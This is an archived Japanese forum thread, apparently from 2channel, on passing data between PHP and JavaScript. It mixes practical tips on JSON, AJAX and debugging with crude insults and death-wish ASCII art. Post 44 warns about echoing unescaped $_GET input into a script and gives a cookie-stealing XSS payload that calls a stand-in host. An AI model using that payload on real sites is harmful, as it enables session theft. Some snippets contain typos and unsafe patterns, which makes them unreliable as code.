2011年10月1期WebProgPHPとjavascriptの連携
TOP カテ一覧 スレ一覧 削除依頼 ▼
・ 次のスレ
【初心者】励ましあいながらサイト製作【PHP】 【 引数 】をインスウとずっと呼んでた奴 危険タグ 破壊タグ 2ちゃんねるの上を行く掲示板の作り方
PHPとjavascriptの連携
1 :05/10/18 〜 最終レス :09/10/22 知ってる?
2 : Ajaxでもやってろ
3 : (・c_・`)
4 : >>3 キモ
5 : phpとjsの変数のやりとりは
6 : (・c_・`) .。oO(氏ねばいいのになァ…
7 : おまえがな
8 : _ ,,, . .,,, _ ,.、;',,;;;;;;;;;;;;;;;;;;;;;,.`丶. /,;;;;;;;;;;;;;:、- ‐ ' ''= 、;;,.ヽ . ,',;;;;;;;;;;;i'" ヽ;,.'、 {,;;;;;;;;;;;;{ _,,;;;;,、 ,,;,、;,.', _l,;;;;;;;;;厂 〃 .__、` ,r' ゙゙`'};;,.j . { トヽ;;;;;! '´ ̄ ` { '=ッ{;< ! . , , . . ヽ.ゞさ;;} ,.r'_ ,..)、 !;,.! ヽ、_,人_,ノ、_,从,人.ィj、ノv1 ヽニY ,.r' _`;^´! ,';/ ) ヾ:、 ヾ= 三;〉 /'′ ‐=、´ 君が氏ねば ノ,;:::\ ` ー" , ' ) いいじゃないか ,.、-',;;;{ ヾ:ヽ、 __ ,∠、 ',,;;;{ {;;;;;;ヽ }::〈;;;;;;;;l iヽ、 , '⌒r‐v'ヽィ'⌒Yソ、ト、!yヘ! ,;;;;;ヽ、ヽ;;;;\ ,r'::::ノ;;;;;;j j;;;;,.`ヽ、
9 : (・c_・`) .。oO(糞スレ立てた上に逆ギレ…
10 : キモイ
11 : cの鼻が特に
12 : (・z_・`) .。oO(スマートにしてみた…
13 : (・z_・`) .。oO(I WANT YOUR DEATH…
14 : (・く_・`) .。oO(鼻が大きいと…
15 : 異様に腹がたつ顔だ
16 : (・c_・`) .。oO(クズなのにうるさい人だなァ…
17 : (・z_・`) .。oO(SHININASAI >>15
18 : (・∞_・`) .。oO(みんな連携しようよ
19 : 俺も知りたい
20 : 難しく考えすぎじゃね? <?php <script type="text/javascript"> $php_hensuu = js_hensuu; js_hensuu2 = $php_hensuu2; </script> ?>
21 : hensuu2のほうはできると思うけどhensuuのほうはそれじゃ無理じゃない?
22 : 言っとくけど、PHPはサーバーサイド java Scriptはクライアントサイドだぞ。 通信には、XMLとかで送るしか無いかと思われ
23 : JSONって手もあるぞ。こっちのほうが扱いは楽だね
24 : JSONって、Javaスクリプト側だと標準でオブジェクトとして扱えるけど 送信先のPHPでは、標準で扱うパーサーとかあるの?
25 : つ【http://pc8.2ch.net/test/read.cgi/php/1134214341/164】
26 : 164はいらなかった。あとsage忘れた。スマソ
27 : http://www.humanclock.com/clock.php ここの時計を自サイトでも表示させたいと思ってるのですが、 PHPとJavaScriptで可能ですか?
28 : >>27 Can I run the clock from within my website? No, technically it would be a bit hard, plus I have enough bandwidth problems already and if other people were running the site they would be even worse. ってあるけど。 自分で画像用意して同じようなやつを作りたいってこと? 一分で一枚使うから、最低でも24×60=1440枚画像用意しなきゃいけないけど…。 技術的には可能だけど、大変だよ。鯖もそれなりじゃないと。
29 : >29 いえ、そうじゃなくて画像を引っ張って来るってことでした。 が、だめそうですね。 ありがとうございました。 でもすごくなごむんですよね。この時計たち。
30 : javascriptでalert(r); としたときに、[object Object]とポップアップします。 このrのプロパティなど情報を知りたいんですが、どのような方法があるでしょうか。 PHPだと、var_dump(), print_r()といった関数がありますが・・ javascriptは経験が浅くてわかりません。 よろしくおねがいします。
31 : >>30 とりあえずfor-inでまわすのが手軽かな var msg = "" for (var prop in r) msg += prop + ": " + r[prop] + "\n" あとはalertするなり<pre>内に表示するなり好きにして。 コンポジションになってるオブジェクトはまあ適宜ってことで。 DOMの要素とかこれでのぞくとプロパティがやたら多かったりするからな。 つーか板違いやんけorz
32 : >31 ありがとう、ありがとう。 家かえったらやってみるよ どうもね。
33 : >>30 つ【ttp://www.mozilla.org/projects/venkman/ 】
34 : xajaxやZend_JSONを使おう。
35 : for(prop in ..) で回してみました。確かに未知なオブジェクトにアクセスできます。 ありがとうございます。 venkmanいいですね。ありがとうございます。 今後のjsのデバッグはこれを使おうと思います。 が、firefoxごとお亡くなりになったりしたときに次回からfirefoxは起動しても venkmanは起動しなくなりました(ログアウトログインすれば大丈夫) venkmanのプロセスが残っている?んでしょうか。何かご存じでしたら教えてください。 xajax、zend_JSONについてはよく知りません。調べてみます。 ちなみにやろうとしていることは ajax+soapという組み合わせです。 jsでのsoapクライアントとしてGURU4.netのクライアントを使おうとしています。 で、これのcallback関数への引数のオブジェクトの内容がよくわからなかったのが質問の発端でした。 すれちがいどうもすいませんでした。
36 : 普通にprototypeとか使ってた方がやりやすいわな
37 :
38 : >>28 画像とかを抜けばかなり簡単なスクリプトだがな。
39 : Smartyと連携して使いやすい JavaScriptのバリデータ欲しいwww
40 : xajaxはどうよ?
41 : すみません、 この記述って問題ありますか? 回答お願いします。 <scrpt language="javascript"> aBoxNum = <?php $_GET['aBoxNum'] ?>; </script>
42 : すみません、解決しました <?php print $_GET{'aBoxNum']; ?> でした
43 : >>42 老婆心から、 <?php print $_GET{'aBoxNum']; ?>は、省略表記あるよ <?=$_GET{'aBoxNum']?>でOK <?= ... ?>が、<? php print ... ?>を表しているよ。
44 : >>41 $_GET['aBoxNum'] に 1;document.href='http://exsample.com/?'+document.cookie とか入れてもいいの?
45 : >>43 知らなかったよ ありがとう >>44 すみません、ちょっと意味がわかりません ゴメンよ
46 : >>45 そのままだとスーパーハカーにやられちゃうよってこと
47 : <?= ?>のショートタグ使うよりヒアドキュメントを使っていった方が スクリプトが巨大化したときに楽かもしれんわよ 動くなら好きな方法でいいけどね
48 : you SmartyやっちゃいなYO
49 : なんでこういう実践的なスレの更新が滞っているんだ。 いいか、お前ら、JSの数値比較で => はダメだぞ。 => じゃなきゃダメだぞ。 そんなことで20分も悩んでしまった・・・・orz FireBugとIE8開発者ツールにありがとう。
50 : >>49 >=ね。 逆に、これ以外の記法を持つ言語って見たことないかも。
51 : ajax に乗り遅れた俺にはahahが簡単で素敵ですごい
52 : >>51 AJAXの胆は、XMLじゃなくてHTTPリクエストの部分なんだけどね AHAHも結局HTTPリクエストを投げるわけだからAJAXと理屈は一緒。 とどのつまりTEXTデータであればなんでもいい。(AJAXの「X」の意味が形骸化している)
53 : サーバーサイドで実行できるjqueryのオープンソース phpquery サーバー側でHTMLをjqueryで整形できるよ。 http://code.google.com/p/phpquery/
54 : $doc = phpQuery::newDocumentHTML("http://www.yahoo.co.jp/ "); $html = $doc['div'] -> html(); サーバーサイド側でこんな簡単にHTMLが抜け出せる。 正規表現も使わないで済む。jqueryライクな書き方でOK
55 : やってみたけど何もでないよ
56 : まさに今悩んで作ってるよ。 画面遷移を伴うHTMLにはjsではないといけないってのがつらい。 PHPはかなり分かってきたけど、jsで受け取った値や配列をPHPに渡す、またはその逆ってのが癖があってつらい。
57 : >>56 Javascript -> PHPは、単に指定したURLにGETのリクエストを送るだけ。 値はGETのクエリパラメータとしてくっつけて PHP -> Javascriptは、Javascriptで読める形で、レスポンスデータを返してあげるだけ。 JSONが無難だろうね。PHPの配列からJSON関数で簡単に変換出来るし どちらも、何らかのJavascriptのライブラリ使ってれば、PHPへの送信、受け取りは簡単に出来ると思うよ。 > 画面遷移を伴うHTMLにはjsではないといけないってのがつらい。 画面遷移させるのに、Javascriptは必須じゃないと思うが、きっとそうゆう仕様なんだろうね。合掌
58 :09/10/22 良スレなんであげておきますね( ‘д‘)
TOP カテ一覧 スレ一覧 削除依頼 ▲
・ 次のスレ
【初心者】励ましあいながらサイト製作【PHP】 【 引数 】をインスウとずっと呼んでた奴 危険タグ 破壊タグ 2ちゃんねるの上を行く掲示板の作り方